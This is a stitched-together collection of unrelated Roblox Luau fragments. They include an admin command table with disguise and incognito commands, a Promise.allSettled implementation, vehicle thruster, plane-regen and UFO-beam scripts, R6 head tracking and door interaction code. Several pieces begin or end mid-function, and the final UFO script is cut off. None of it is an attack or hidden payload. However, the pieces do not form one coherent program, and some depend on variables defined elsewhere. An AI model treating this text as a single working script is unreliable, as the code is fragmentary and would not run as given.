tag"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) assert(args[2], "Argument missing or nil") local userId = Functions.GetUserIdFromNameAsync(args[2]) assert(userId, "Invalid username supplied/user not found") local username = select(2, xpcall(function() return service.Players:GetNameFromUserIdAsync(userId) end, function() return args[2] end)) if service.Players:GetPlayerByUserId(userId) then error("You cannot disguise as this player (currently in server)") end Commands.Char.Function(plr, args) Commands.DisplayName.Function(plr, {args[1], username}) local ChatService = Functions.GetChatService() for _, v in service.GetPlayers(plr, args[1]) do if Variables.DisguiseBindings[v.UserId] then Variables.DisguiseBindings[v.UserId].Rename:Disconnect() Variables.DisguiseBindings[v.UserId].Rename = nil if ChatService then ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername) ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`) end end Variables.DisguiseBindings[v.UserId] = { TargetUsername = username; Rename = v.CharacterAppearanceLoaded:Connect(function(char) Commands.DisplayName.Function(v, {v.Name, username}) end); } if ChatService then local disguiseSpeaker = ChatService:AddSpeaker(username) disguiseSpeaker:JoinChannel("All") ChatService:RegisterProcessCommandsFunction(`Disguise_{v.Name}`, function(speaker, message, channelName) if speaker == v.Name then local filteredMessage = select(2, xpcall(function() return service.TextService:FilterStringAsync(message, v.UserId, Enum.TextFilterContext.PrivateChat):GetChatForUserAsync(v.UserId) end, function() Remote.Send(v, "Function", "ChatMessage", "A message filtering error occurred.", Color3.new(1, 64/255, 77/255)) return end)) if filteredMessage and not server.Admin.DoHideChatCmd(v, message) then disguiseSpeaker:SayMessage(filteredMessage, channelName) if v.Character then service.Chat:Chat(v.Character, filteredMessage, Enum.ChatColor.White) end end return true end return false end) end end end }; UnDisguise = { Prefix = Settings.Prefix; Commands = {"undisguise", "removedisguise", "cleardisguise", "nodisguise"}; Args = {"player"}; Description = "Removes the player's disguise"; AdminLevel = "Admins"; Function = function(plr: Player, args: {string}) local ChatService = Functions.GetChatService() for _, v in service.GetPlayers(plr, args[1]) do if Variables.DisguiseBindings[v.UserId] then Variables.DisguiseBindings[v.UserId].Rename:Disconnect() Variables.DisguiseBindings[v.UserId].Rename = nil pcall(function() ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername) ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`) end) end Variables.DisguiseBindings[v.UserId] = nil end Commands.UnChar.Function(plr, args) Commands.UnDisplayName.Function(plr, args) end }; IncognitoPlayerList = { Prefix = Settings.Prefix; Commands = {"incognitolist", "incognitoplayers"}; Args = {"autoupdate? (default: true)"}; Description = "Displays a list of incognito players in the server"; AdminLevel = "Admins"; Hidden = true; ListUpdater = function(plr: Player) local tab = {} for p: Player, t: number in Variables.IncognitoPlayers do if p.Parent == service.Players then table.insert(tab, { Text = service.FormatPlayer(p); Desc = string.format("ID: %d | Went incognito at: %s", p.UserId, service.FormatTime(t)); }) end end return tab end; Function = function(plr: Player, args: {string}) local autoUpdate = string.lower(args[1]) Remote.RemoveGui(plr, "IncognitoPlayerList") Remote.MakeGui(plr, "List", { Name = "IncognitoPlayerList"; Title = "Incognito Players"; Icon = server.MatIcons["Admin panel settings"]; Tab = Logs.ListUpdaters.IncognitoPlayerList(plr); Update = "IncognitoPlayerList"; AutoUpdate = if not args[1] or (autoUpdate == "true" or autoUpdate == "yes") then 1 else nil; }) end }; } end
--LogMessage = game.ReplicatedStorage.ClientStorage.Console.LogMessage
MapIdInput = script.Parent.MapIDInput LoadMapButton = script.Parent.LoadMapButton IsDoingSomething = false function OnLoadRequested() if not IsDoingSomething then IsDoingSomething = true local success, msgs = LoadMapIDRemote:InvokeServer(MapIdInput.Text) LoadMapButton.BorderColor3 = success and Color3.new(0, 1, 0) or Color3.new(1, 0, 0) LoadMapButton.TextColor3 = LoadMapButton.BorderColor3 if success then MapIdInput.Text = "" end wait(1) LoadMapButton.BorderColor3 = Color3.new(0,0,0) LoadMapButton.TextColor3 = Color3.new(1, 1, 1) IsDoingSomething = false end end LoadMapButton.MouseButton1Click:Connect(OnLoadRequested) MapIdInput.FocusLost:Connect(function(enterPressed) if enterPressed then OnLoadRequested() end end) script.Parent.Visible = GameLib.HasControlPrivileges(Player)
-- In radian the maximum accuracy penalty
local MaxSpread = 0.06
--[=[ Accepts an array of Promises and returns a new Promise that resolves with an array of in-place Statuses when all input Promises have settled. This is equivalent to mapping `promise:finally` over the array of Promises. ```lua local promises = { returnsAPromise("example 1"), returnsAPromise("example 2"), returnsAPromise("example 3"), } return Promise.allSettled(promises) ``` @param promises {Promise<T>} @return Promise<{Status}> ]=]
function Promise.allSettled(promises) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promises) do if not Promise.is(promise) then error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.allSettled", tostring(i)), 2) end end -- If there are no values then return an already resolved promise. if #promises == 0 then return Promise.resolve({}) end return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel) -- An array to contain our resolved values from the given promises. local fates = {} local newPromises = {} -- Keep a count of resolved promises because just checking the resolved -- values length wouldn't account for promises that resolve with nil. local finishedCount = 0 -- Called when a single value is resolved and resolves if all are done. local function resolveOne(i, ...) finishedCount = finishedCount + 1 fates[i] = ... if finishedCount >= #promises then resolve(fates) end end onCancel(function() for _, promise in ipairs(newPromises) do promise:cancel() end end) -- We can assume the values inside `promises` are all promises since we -- checked above. for i, promise in ipairs(promises) do newPromises[i] = promise:finally( function(...) resolveOne(i, ...) end ) end end) end
--local bodyPosition = Instance.new("BodyPosition", car.Chassis) --bodyPosition.MaxForce = Vector3.new() --local bodyGyro = Instance.new("BodyGyro", car.Chassis) --bodyGyro.MaxTorque = Vector3.new()
local function UpdateThruster(thruster) -- Raycasting local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car) local thrusterHeight = (position - thruster.Position).magnitude -- Wheel local wheelWeld = thruster:FindFirstChild("WheelWeld") wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0) -- Wheel turning local offset = car.Chassis.CFrame:inverse() * thruster.CFrame local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity) if offset.Z < 0 then local direction = 1 if speed.Z > 0 then direction = -1 end wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0) end -- Particles if hit and thruster.Velocity.magnitude >= 5 then wheelWeld.Part1.ParticleEmitter.Enabled = true else wheelWeld.Part1.ParticleEmitter.Enabled = false end end car.DriveSeat.Changed:connect(function(property) if property == "Occupant" then if car.DriveSeat.Occupant then car.EngineBlock.Running.Pitch = 1 car.EngineBlock.Running:Play() local player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent) if player then car.DriveSeat:SetNetworkOwner(player) local localCarScript = script.LocalCarScript:Clone() localCarScript.Parent = player.PlayerGui localCarScript.Car.Value = car localCarScript.Disabled = false end else car.DriveSeat:SetNetworkOwnershipAuto() car.EngineBlock.Running:Stop() end end end)
-- if version.Value ~= current_version then -- update_notifier.Visible = true -- script.Parent.ErrorSound:Play() -- end --end
--[[ Helper function that should only be used in tests for the Grid component. ]]
local Roact = require(script.Parent.Parent.Parent.Parent.Roact) local ITEM_HEIGHT = 100 -- px local COLORS = { Color3.fromRGB(255, 0, 0), Color3.fromRGB(0, 255, 0), Color3.fromRGB(0, 0, 255), Color3.fromRGB(255, 255, 0), Color3.fromRGB(255, 0, 255), Color3.fromRGB(0, 255, 255), } local function getNextColor(index: number): Color3 while index > #COLORS do index = index - #COLORS end return COLORS[index] end local function createGridItems(numItems: number): { any } local items = {} for i = 1, numItems do table.insert( items, Roact.createElement("Frame", { Size = UDim2.new(1, 0, 0, ITEM_HEIGHT), BackgroundColor3 = getNextColor(i), }) ) end return items end return createGridItems
--New R6 stuff
local Humanoid = Character:WaitForChild("Humanoid") local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart") local Torso = Character:WaitForChild("Torso") local Neck = Torso:WaitForChild("Neck") local Waist = HumanoidRootPart:WaitForChild("RootJoint") local RHip = Torso:WaitForChild("Right Hip") local LHip = Torso:WaitForChild("Left Hip") local LHipOriginC0 = LHip.C0 local RHipOriginC0 = RHip.C0 local NeckOriginC0 = Neck.C0 local WaistOriginC0 = Waist.C0 Neck.MaxVelocity = 1/3 RunService.RenderStepped:Connect(function() local CameraCFrame = Camera.CoordinateFrame if Character:FindFirstChild("Torso") and Character:FindFirstChild("Head") then local TorsoLookVector = Torso.CFrame.lookVector local HeadPosition = Head.CFrame.p if Neck and Waist then if Camera.CameraSubject:IsDescendantOf(Character) or Camera.CameraSubject:IsDescendantOf(Player) then local Point = PlayerMouse.Hit.p local Distance = (Head.CFrame.p - Point).magnitude local Difference = Head.CFrame.Y - Point.Y local goalNeckCFrame = CFrame.Angles(-(math.atan(Difference / Distance) * 0.5), (((HeadPosition - Point).Unit):Cross(TorsoLookVector)).Y * 1, 0) Neck.C0 = Neck.C0:lerp(goalNeckCFrame*NeckOriginC0, 0.5 / 2).Rotation + NeckOriginC0.Position local xAxisWaistRotation = -(math.atan(Difference / Distance) * 0.5) local yAxisWaistRotation = (((HeadPosition - Point).Unit):Cross(TorsoLookVector)).Y * 0.5 local rotationWaistCFrame = CFrame.Angles(xAxisWaistRotation, yAxisWaistRotation, 0) local goalWaistCFrame = rotationWaistCFrame*WaistOriginC0 Waist.C0 = Waist.C0:lerp(goalWaistCFrame, 0.5 / 2).Rotation + WaistOriginC0.Position local currentLegCounterCFrame = Waist.C0*WaistOriginC0:Inverse() local legsCounterCFrame = currentLegCounterCFrame:Inverse() RHip.C0 = legsCounterCFrame*RHipOriginC0 LHip.C0 = legsCounterCFrame*LHipOriginC0 end end end end)
-- ROBLOX deviation START: pre declare invariant function
local invariant
------------------------------------------------------------ --\Doors Update ------------------------------------------------------------
local DoorsFolder = ACS_Storage:FindFirstChild("Doors") local CAS = game:GetService("ContextActionService") local mDistance = 5 local Key = nil function getNearest() local nearest = nil local minDistance = mDistance local Character = Player.Character or Player.CharacterAdded:Wait() for I,Door in pairs (DoorsFolder:GetChildren()) do if Door.Door:FindFirstChild("Knob") ~= nil then local distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude if distance < minDistance then nearest = Door minDistance = distance end end end --print(nearest) return nearest end function Interact(actionName, inputState, inputObj) if inputState ~= Enum.UserInputState.Begin then return end local nearestDoor = getNearest() local Character = Player.Character or Player.CharacterAdded:Wait() if nearestDoor == nil then return end if (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then if nearestDoor ~= nil then if nearestDoor:FindFirstChild("RequiresKey") then Key = nearestDoor.RequiresKey.Value else Key = nil end Evt.DoorEvent:FireServer(nearestDoor,1,Key) end end end function GetNearest(parts, maxDistance,Part) local closestPart local minDistance = maxDistance for _, partToFace in ipairs(parts) do local distance = (Part.Position - partToFace.Position).magnitude if distance < minDistance then closestPart = partToFace minDistance = distance end end return closestPart end CAS:BindAction("Interact", Interact, false, Enum.KeyCode.G) Evt.Rappel.PlaceEvent.OnClientEvent:Connect(function(Parte) local Alinhar = Instance.new('AlignOrientation') Alinhar.Parent = Parte Alinhar.PrimaryAxisOnly = true Alinhar.RigidityEnabled = true Alinhar.Attachment0 = Character.HumanoidRootPart.RootAttachment Alinhar.Attachment1 = Camera.BasePart.Attachment end) print("ACS 1.7.6")
--repeat wait(1) until --_G.SD[player.UserId].Data.and _G.SD[player.UserId].Data.spell
--local open = workspace.HeladeriaBeach.openPart --RestauranteUDL: Cambiar por nombre Modelo donde están las partes que abren o cierran GUI --local close = workspace.HeladeriaBeach.closePart --RestauranteUDL: Cambiar por nombre Modelo donde están las partes que abren o cierran GUI
local frame = script.Parent local closeButton = frame.closeButton local buy_1 = frame.buy1 local buy_2 = frame.buy2 local buy_3 = frame.buy3 local buy_4 = frame.buy4 local ReplicatedStorage = game:GetService('ReplicatedStorage') local remoteEvent = ReplicatedStorage:WaitForChild('BuyTool') frame.Visible = false
--[[ Determines which paid emotes the user owns and returns them through the provided callback Parameters: player - the player used to check ownership callback - the function to call once all paid emotes have been checked ]]
function EmoteManager:getOwnedEmotesAsync(player, callback) local ownedEmotes = {} local numComplete = 0 local numEmotes = 0 -- Since paidEmotes is a dictionary, we have to loop over it to count the items for _ in pairs(paidEmotes) do numEmotes = numEmotes + 1 end for emoteName, emoteInfo in pairs(paidEmotes) do task.spawn(function() local success, ownsEmote = pcall(function() return self.MarketplaceService:PlayerOwnsAsset(player, emoteInfo.emote) end) if success then if ownsEmote then ownedEmotes[emoteName] = emoteInfo end else warn("Error getting asset ownership for", emoteInfo.emote) end numComplete = numComplete + 1 if numComplete == numEmotes then callback(ownedEmotes) end end) end end
--[[ Constructs and returns a new instance, with options for setting properties, event handlers and other attributes on the instance right away. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local cleanupOnDestroy = require(Package.Utility.cleanupOnDestroy) local Children = require(Package.Instances.Children) local Scheduler = require(Package.Instances.Scheduler) local defaultProps = require(Package.Instances.defaultProps) local Compat = require(Package.State.Compat) local logError = require(Package.Logging.logError) local logWarn = require(Package.Logging.logWarn) local WEAK_KEYS_METATABLE = {__mode = "k"} local ENABLE_EXPERIMENTAL_GC_MODE = false
--------------------------------------------------------
function DeleteIdlePlane() --This deletes any planes that aren't currently being used for _,v in pairs(Planekit:GetChildren()) do if v.Name == "Plane" then v:Destroy() end end end function RegenMain() --This function regens the plane local PlaneClone2 = PlaneClone:clone() PlaneClone2.Parent = Planekit PlaneClone2.Origin.Value = Planekit PlaneClone2:MakeJoints() return PlaneClone2 end function RegeneratePlane(Part) --This is the main regenerating function local Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it if Player then local Humanoid = Player.Character:FindFirstChild("Humanoid") if Humanoid.Health ~= 0 then if Active then Active = false DeleteIdlePlane() --This activates the "DeleteIdlePlane" function for i = 0,1,0.2 do --This makes the button transparent Main.Transparency = i wait() end if RegenTime >= 1 then RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1 end wait(RegenTime) RegenGui.Parent = script --This puts the gui back in the script local PlaneClone2 = RegenMain() if EnterOnSpawn.Value then --If the EnterOnSpawn value is true... coroutine.resume(coroutine.create(function() repeat wait() until PlaneClone2.Welded.Value while true do if PlaneClone2.Welded.Value or Humanoid.Health == 0 then break end wait() end onPlaneWelded(Player,PlaneClone2) --This activates the "onPlaneWelded" function whenever the welded value changes end)) end wait(WaitTime) for i = 1,0,-0.2 do --This makes the button visible Main.Transparency = i wait() end Active = true end end end end function onPlaneWelded(Player,Plane) --This function put you into the plane seat the moment the plane is welded if Plane and Player then --This checks to make sure there is a plane and a player if Player.Character:FindFirstChild("Torso") then if Player.Character.Humanoid.Health ~= 0 then Player.Character.Torso.CFrame = Plane.MainParts.Seat.CFrame end end end end Main.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when the Main brick is touched
-- Support legacy Primer support on internal FB www
exports.enableLegacyFBSupport = true
--Make a collision group for all players' characters
PhysicsService:CreateCollisionGroup(GroupName)
-- Server-exposed signals/fields:
PointsService.PointsPerPlayer = {} PointsService.PointsChanged = Signal.new()
-- Initialization
local lastActivePath = {} if game.Workspace:FindFirstChild("BasePlate") then game.Workspace.BasePlate:Destroy() end local tracksModel = Instance.new("Model") tracksModel.Name = "Tracks" tracksModel.Parent = game.Workspace function packagePathModels() local pathPackager = require(script.PathPackager) while true do local pathBase = game.Workspace:FindFirstChild("PathBase", true) if pathBase then pathPackager:PackageRoom(pathBase) else break end end end coroutine.wrap(function() packagePathModels() end)()
-- Variables
local player = game.Players.LocalPlayer -- Local player local humanoid = player.Character:WaitForChild("Humanoid") -- Player's humanoid local userInputService = game:GetService("UserInputService") -- UserInputService
--Made by Luckymaxer
Seat = script.Parent Model = Seat.Parent Engine = Model:WaitForChild("Engine") BeamPart = Model:WaitForChild("BeamPart") Lights = Model:WaitForChild("Lights") Seats = Model:WaitForChild("Seats") Sounds = { Flying = Engine:WaitForChild("UFO_Flying"), Beam = Engine:WaitForChild("UFO_Beam"), Idle = Engine:WaitForChild("UFO_Idle"), TakingOff = Engine:WaitForChild("UFO_Taking_Off") } Players = game:GetService("Players") Debris = game:GetService("Debris") BeamSize = 50 CurrentBeamSize = 0 MaxVelocity = 40 MinVelocity = -40 MaxSideVelocity = 40 MinSideVelocity = -40 Acceleration = 2 Deceleration = 2 AutoDeceleration = 2 SideAcceleration = 2 SideDeceleration = 2 AutoSideDeceleration = 2 LiftOffSpeed = 5 LiftSpeed = 10 LowerSpeed = -10 Velocity = Vector3.new(0, 0, 0) SideVelocity = 0 FlipForce = 1000000 InUse = false PlayerUsing = nil PlayerControlScript = nil PlayerConnection = nil BeamActive = false TakingOff = false LightsEnabled = false Enabled = false Controls = { Forward = {Key = "W", Byte = 17, Mode = false}, Backward = {Key = "S", Byte = 18, Mode = false}, Left = {Key = "A", Byte = 20, Mode = false}, Right = {Key = "D", Byte = 19, Mode = false}, Up = {Key = "Q", Byte = 113, Mode = false}, Down = {Key = "E", Byte = 101, Mode = false}, } ControlScript = script:WaitForChild("ControlScript") Beam = Instance.new("Part") Beam.Name = "Beam" Beam.Transparency = 0.3 Beam.BrickColor = BrickColor.new("Pastel Blue") Beam.Material = Enum.Material.Plastic Beam.Shape = Enum.PartType.Block Beam.TopSurface = Enum.SurfaceType.Smooth Beam.BottomSurface = Enum.SurfaceType.Smooth Beam.FormFactor = Enum.FormFactor.Custom Beam.Size = Vector3.new(BeamPart.Size.X, 0.2, BeamPart.Size.Z) Beam.Anchored = false Beam.CanCollide = false BeamMesh = Instance.new("CylinderMesh") BeamMesh.Parent = Beam for i, v in pairs(Sounds) do v:Stop() end RemoteConnection = script:FindFirstChild("RemoteConnection") if not RemoteConnection then RemoteConnection = Instance.new("RemoteFunction") RemoteConnection.Name = "RemoteConnection" RemoteConnection.Parent = script end BodyGyro = Engine:FindFirstChild("BodyGyro") if not BodyGyro then BodyGyro = Instance.new("BodyGyro") BodyGyro.Parent = Engine end BodyGyro.maxTorque = Vector3.new(0, 0, 0) BodyGyro.D = 7500 BodyGyro.P = 10000 BodyPosition = Engine:FindFirstChild("BodyPosition") if not BodyPosition then BodyPosition = Instance.new("BodyPosition") BodyPosition.Parent = Engine end BodyPosition.maxForce = Vector3.new(0, 0, 0) BodyPosition.D = 10000 BodyPosition.P = 50000 BodyVelocity = Engine:FindFirstChild("BodyVelocity") if not BodyVelocity then BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.Parent = Engine end BodyVelocity.velocity = Vector3.new(0, 0, 0) BodyVelocity.maxForce = Vector3.new(0, 0, 0) BodyVelocity.P = 10000 FlipGyro = BeamPart:FindFirstChild("FlipGyro") if not FlipGyro then FlipGyro = Instance.new("BodyGyro") FlipGyro.Name = "FlipGyro" FlipGyro.Parent = BeamPart end FlipGyro.maxTorque = Vector3.new(0, 0, 0) FlipGyro.D = 500 FlipGyro.P = 3000 RiseVelocity = BeamPart:FindFirstChild("RiseVelocity") if not RiseVelocity then RiseVelocity = Instance.new("BodyVelocity") RiseVelocity.Name = "RiseVelocity" RiseVelocity.Parent = BeamPart end RiseVelocity.velocity = Vector3.new(0, 0, 0) RiseVelocity.maxForce = Vector3.new(0, 0, 0) RiseVelocity.P = 10000 function RayCast(Position, Direction, MaxDistance, IgnoreList) return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position, Direction.unit * (MaxDistance or 999.999)), IgnoreList) end function ToggleLights() for i, v in pairs(Lights:GetChildren()) do if v:IsA("BasePart") then for ii, vv in pairs(v:GetChildren()) do if vv:IsA("Light") then vv.Enabled = LightsEnabled end end end end end ToggleLights() function CheckTable(Table, Instance) for i, v in pairs(Table) do if v == Instance then return true end end return false end function RandomizeTable(Table) local TableCopy = {} for i = 1, #Table do local Index = math.random(1, #Table) table.insert(TableCopy, Table[Index]) table.remove(Table, Index) end return TableCopy end for i, v in pairs(Model:GetChildren()) do if v:IsA("BasePart") and v.Name == "Beam" then v:Destroy() end end function GetPartsInBeam(beam) local IgnoreObjects = {(((PlayerUsing and PlayerUsing.Character) and PlayerUsing.Character) or nil), Model} local NegativePartRadius = Vector3.new((beam.Size.X / 2), ((CurrentBeamSize / 5) / 2), (beam.Size.Z / 2)) local PositivePartRadius = Vector3.new((beam.Size.X / 2), ((CurrentBeamSize / 5) / 2), (beam.Size.Z / 2)) local Parts = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region3.new(beam.Position - NegativePartRadius, beam.Position + PositivePartRadius), IgnoreObjects, 100) local Humanoids = {} local Torsos = {} for i, v in pairs(Parts) do if v and v.Parent then local humanoid = v.Parent:FindFirstChild("Humanoid") local torso = v.Parent:FindFirstChild("Torso") local player = Players:GetPlayerFromCharacter(v.Parent) if player and humanoid and humanoid.Health > 0 and torso and not CheckTable(Humanoids, humanoid) then table.insert(Humanoids, humanoid) table.insert(Torsos, {Humanoid = humanoid, Torso = torso}) end end end return Torsos end RemoteConnection.OnServerInvoke = (function(Player, Script, Action, Value) if Script and Script ~= PlayerControlScript then Script.Disabled = true Script:Destroy() else if Action == "KeyDown" then if Value == "l" then LightsEnabled = not LightsEnabled ToggleLights() elseif Value == "t" then if TemporaryBeam and TemporaryBeam.Parent then local Torsos = GetPartsInBeam(TemporaryBeam) local TorsosUsed = {} Torsos = RandomizeTable(Torsos) for i, v in pairs(Seats:GetChildren()) do if v:IsA("Seat") and not v:FindFirstChild("SeatWeld") then for ii, vv in pairs(Torsos) do if vv.Humanoid and vv.Humanoid.Parent and vv.Humanoid.Health > 0 and not vv.Humanoid.Sit and vv.Torso and vv.Torso.Parent and not CheckTable(TorsosUsed, vv.Torso) then table.insert(TorsosUsed, vv.Torso) vv.Torso.CFrame = v.CFrame break end end end end end end if not TakingOff then for i, v in pairs(Controls) do if string.lower(v.Key) == string.lower(Value) or v.Byte == string.byte(Value) then v.Mode = true end end if Controls.Up.Mode or Controls.Down.Mode then RiseVelocity.maxForce = Vector3.new(0, 1000000, 0) end if Controls.Forward.Mode or Controls.Backward.Mode or Controls.Left.Mode or Controls.Right.Mode or Controls.Up.Mode or Controls.Down.Mode then Sounds.Idle:Stop() Sounds.Flying:Play() end end elseif Action == "KeyUp" then if not TakingOff then for i, v in pairs(Controls) do if string.lower(v.Key) == string.lower(Value) or v.Byte == string.byte(Value) then v.Mode = false end end if not Controls.Up.Mode and not Controls.Down.Mode then BodyPosition.position = Engine.Position BodyPosition.maxForce = Vector3.new(0, 100000000, 0) RiseVelocity.maxForce = Vector3.new(0, 0, 0) RiseVelocity.velocity = Vector3.new(0, 0, 0) end if not Controls.Forward.Mode and not Controls.Backward.Mode and not Controls.Left.Mode and not Controls.Right.Mode and not Controls.Up.Mode and not Controls.Down.Mode then Sounds.Flying:Stop() Sounds.Idle:Play() end end elseif Action == "Button1Down" then if not BeamActive and not TakingOff then BeamActive = true if TemporaryBeam and TemporaryBeam.Parent then TemporaryBeam:Destroy() end TemporaryBeam = Beam:Clone() TemporaryBeam.Parent = Model Spawn(function() while TemporaryBeam and TemporaryBeam.Parent do local Torsos = GetPartsInBeam(TemporaryBeam) for i, v in pairs(Torsos) do if v.Humanoid and v.Humanoid.Parent and v.Humanoid.Health > 0 and v.Torso and v.Torso.Parent and not v.Torso:FindFirstChild("UFOPullForce") and not v.Torso:FindFirstChild("UFOBalanceForce") then local UFOPullForce = Instance.new("BodyVelocity") UFOPullForce.Name = "UFOPullForce" UFOPullForce.maxForce = Vector3.new(0, 1000000, 0) UFOPullForce.velocity = CFrame.new(v.Torso.Position, BeamPart.Position).lookVector * 25 Debris:AddItem(UFOPullForce, 0.25) UFOPullForce.Parent = v.Torso local UFOBalanceForce = Instance.new("BodyGyro") UFOBalanceForce.Name = "UFOBalanceForce" UFOBalanceForce.maxTorque = Vector3.new(1000000, 0, 1000000) Debris:AddItem(UFOBalanceForce, 0.25) UFOBalanceForce.Parent = v.Torso end end wait() end end) local BeamWeld = Instance.new("Weld") BeamWeld.Part0 = BeamPart BeamWeld.Part1 = TemporaryBeam Spawn(function() Sounds.Beam:Play() while Enabled and BeamActive and TemporaryBeam and TemporaryBeam.Parent do local IgnoreTable = {Model} for i, v in pairs(Players:GetChildren()) do if v:IsA("Player") and v.Character then table.insert(IgnoreTable, v.Character) end end local BeamPartClone = BeamPart:Clone() local BeamPartCloneY = BeamPartClone:Clone() BeamPartCloneY.CFrame = BeamPartCloneY.CFrame * CFrame.Angles(-math.rad(90), 0, 0) BeamPartCloneY.CFrame = BeamPartCloneY.CFrame - BeamPartCloneY.CFrame.lookVector * ((BeamPart.Size.Y / 2)) local Hit, Position = RayCast(BeamPart.Position, BeamPartCloneY.CFrame.lookVector, BeamSize, IgnoreTable) CurrentBeamSize = ((BeamPart.Position - Position).magnitude * 5) TemporaryBeam.Mesh.Scale = Vector3.new(1, CurrentBeamSize, 1) BeamWeld.Parent = TemporaryBeam BeamWeld.C0 = CFrame.new(0, 0, 0) - Vector3.new(0, ((CurrentBeamSize / 2) + (BeamPart.Size.Y / 2)) / 5 , 0) wait() end BeamActive = false Sounds.Beam:Stop() if TemporaryBeam and TemporaryBeam.Parent then TemporaryBeam:Destroy() end end) end elseif Action == "Button1Up" then BeamActive = false end end end) function ManageMotionStep(ForceLift, CoordinateFrame) local CameraForwards = -CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 0, 1)) local CameraSideways = -CoordinateFrame:vectorToWorldSpace(Vector3.new(1, 0, 0)) local CameraRotation = -CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 1, 0)) CameraForwards = CameraForwards * Vector3.new(1, 0, 1) CameraSideways = CameraSideways * Vector3.new(1, 0, 1) if CameraForwards:Dot(CameraForwards) < 0.1 or CameraSideways:Dot(CameraSideways) < 0.1 then return end CameraForwards = CameraForwards.unit CameraSideways = CameraSideways.unit if math.abs(Velocity.X) < 2 and math.abs(Velocity.Z) < 2 then BodyVelocity.velocity = Vector3.new(0, 0, 0) else BodyVelocity.velocity = Velocity end BodyGyro.cframe = CFrame.new(0, 0, 0) * CFrame.Angles(Velocity:Dot(Vector3.new(0, 0, 1)) * (math.pi / 320), 0, math.pi - Velocity:Dot(Vector3.new(1, 0, 0)) * (math.pi / 320)) if Controls.Forward.Mode and (not Controls.Backward.Mode) and Velocity:Dot(CameraForwards) < MaxVelocity then Velocity = Velocity + Acceleration * CameraForwards elseif Controls.Backward.Mode and (not Controls.Forward.Mode) and Velocity:Dot(CameraForwards) > MinVelocity then Velocity = Velocity - Deceleration * CameraForwards elseif (not Controls.Backward.Mode) and (not Controls.Forward.Mode) and Velocity:Dot(CameraForwards) > 0 then Velocity = Velocity - AutoDeceleration * CameraForwards elseif (not Controls.Backward.Mode) and (not Controls.Forward.Mode) and Velocity:Dot(CameraForwards) < 0 then Velocity = Velocity + AutoDeceleration * CameraForwards end if Controls.Left.Mode and (not Controls.Right.Mode) and Velocity:Dot(CameraSideways) < MaxSideVelocity then Velocity = Velocity + SideAcceleration * CameraSideways elseif Controls.Right.Mode and (not Controls.Left.Mode) and Velocity:Dot(CameraSideways) > MinSideVelocity then Velocity = Velocity - SideDeceleration * CameraSideways elseif (not Controls.Right.Mode) and (not Controls.Left.Mode) and Velocity:Dot(CameraSideways) > 0 then Velocity = Velocity - AutoSideDeceleration * CameraSideways elseif (not Controls.Right.Mode) and (not Controls.Left.Mode) and Velocity:Dot(CameraSideways) < 0 then Velocity = Velocity + AutoSideDeceleration * CameraSideways end if ForceLift then RiseVelocity.velocity = Vector3.new(0, LiftOffSpeed, 0) else if Controls.Up.Mode and (not Controls.Down.Mode) then RiseVelocity.velocity = Vector3.new(0, LiftSpeed, 0) BodyPosition.maxForce = Vector3.new(0, 0, 0) elseif Controls.Down.Mode and (not Controls.Up.Mode) then RiseVelocity.velocity = Vector3.new(0, LowerSpeed, 0) BodyPosition.maxForce = Vector3.new(0, 0, 0) end end end function MotionManager() Spawn(function() TakingOff = true RiseVelocity.maxForce = Vector3.new(0, 1000000, 0) local StartTime = tick() Sounds.TakingOff:Play() while Enabled and PlayerConnection and (tick() - StartTime) < 3 do local CoordinateFrame = PlayerConnection:InvokeClient(PlayerUsing, "CoordinateFrame") ManageMotionStep(true, CoordinateFrame) wait() end TakingOff = false Sounds.TakingOff:Stop() while PlayerConnection and (Enabled or Velocity:Dot(Velocity) > 0.5) do local CoordinateFrame = PlayerConnection:InvokeClient(PlayerUsing, "CoordinateFrame") ManageMotionStep(false, CoordinateFrame) wait() end end) end function LiftOff() BodyGyro.maxTorque = Vector3.new(1000000, 1000000, 1000000) BodyVelocity.maxForce = Vector3.new(1000000, 0, 1000000) Velocity = Vector3.new(0, 0, 0) Enabled = true MotionManager() end function Equipped(Player) local Backpack = Player:FindFirstChild("Backpack") if Backpack then InUse = true PlayerUsing = Player PlayerControlScript = ControlScript:Clone() local RemoteController = Instance.new("ObjectValue") RemoteController.Name = "RemoteController" RemoteController.Value = RemoteConnection RemoteController.Parent = PlayerControlScript local VehicleSeat = Instance.new("ObjectValue") VehicleSeat.Name = "VehicleSeat" VehicleSeat.Value = Seat VehicleSeat.Parent = PlayerControlScript PlayerConnection = Instance.new("RemoteFunction") PlayerConnection.Name = "PlayerConnection" PlayerConnection.Parent = PlayerControlScript PlayerControlScript.Disabled = false PlayerControlScript.Parent = Backpack LiftOff() end end function Unequipped() if PlayerControlScript and PlayerControlScript.Parent then 